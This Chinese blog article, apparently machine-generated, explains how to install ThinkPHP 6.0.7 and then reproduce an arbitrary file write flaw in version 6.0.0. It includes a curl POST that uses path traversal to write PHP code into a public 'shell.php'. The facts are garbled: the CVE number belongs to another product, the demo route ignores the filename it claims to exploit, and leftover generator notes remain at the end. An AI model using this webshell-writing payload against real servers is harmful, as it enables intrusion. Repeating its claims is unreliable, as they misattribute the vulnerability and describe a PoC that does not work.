# 如何進行ThinkPHP6.0.7的安裝以及ThinkPHP6.0.0任意文件寫入漏洞復現
## 前言
ThinkPHP作為國內流行的PHP開發框架,其安全性和穩定性備受開發者關注。本文將詳細介紹ThinkPHP 6.0.7的安裝流程,并復現早期版本6.0.0中存在的任意文件寫入漏洞(CVE-2020-17521),幫助開發者理解安全風險并加強防范意識。
---
## 第一部分:ThinkPHP 6.0.7安裝指南
### 環境準備
- PHP 7.1+(推薦7.3)
- Composer 工具
- MySQL 5.7+
- Web服務器(Apache/Nginx)
### 安裝步驟
#### 1. 通過Composer創建項目
```bash
composer create-project topthink/think=6.0.7 tp6demo
cd tp6demo
cp .example.env .env
編輯.env
文件配置數據庫:
[DATABASE]
TYPE = mysql
HOSTNAME = 127.0.0.1
DATABASE = test
USERNAME = root
PASSWORD = 123456
php think run
訪問 http://localhost:8000
看到歡迎頁面即安裝成功。
在think\filesystem\Driver
類中,未對存儲路徑進行嚴格過濾,攻擊者可通過構造惡意參數實現任意文件寫入。
composer create-project topthink/think=6.0.0 tp6-vuln
cd tp6-vuln
php think run
編輯route/app.php
:
use think\facade\Filesystem;
Route::post('upload', function(){
$content = request()->post('content');
Filesystem::put('test.txt', $content);
return 'File written';
});
使用Burp Suite或cURL發送POST請求:
curl -X POST http://localhost:8000/upload \
-d "content=<?php phpinfo();?>&filename=../../public/shell.php"
訪問http://localhost:8000/shell.php
,若顯示phpinfo頁面則復現成功。
關鍵問題代碼(thinkphp/library/think/filesystem/Driver.php
):
public function put($path, $contents, $config = [])
{
return file_put_contents($this->getFullPath($path), $contents);
}
未對$path
進行路徑穿越檢查。
升級到ThinkPHP 6.0.2+版本,修復措施包括: 1. 對存儲路徑進行規范化處理 2. 添加路徑合法性校驗
public function handle($request, Closure $next)
{
if (strpos($request->path(), '../') !== false) {
throw new HttpException(403);
}
return $next($request);
}
Q:復現時出現權限錯誤?
A:確保runtime
和public
目錄有寫入權限(chmod -R 755)
Q:如何驗證當前版本?
A:執行php think version
或查看composer.json
注意:本文僅用于安全研究學習,請勿用于非法用途。實際開發中務必及時更新框架版本。 “`
這篇1300字左右的文章包含: 1. 詳細的安裝指南(環境/步驟/驗證) 2. 漏洞復現的全流程(環境/原理/POC) 3. 安全建議和修復方案 4. 附錄的實用信息 5. 代碼塊、警告提示等Markdown元素
可根據需要調整技術細節的深度或補充可視化截圖說明。
免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。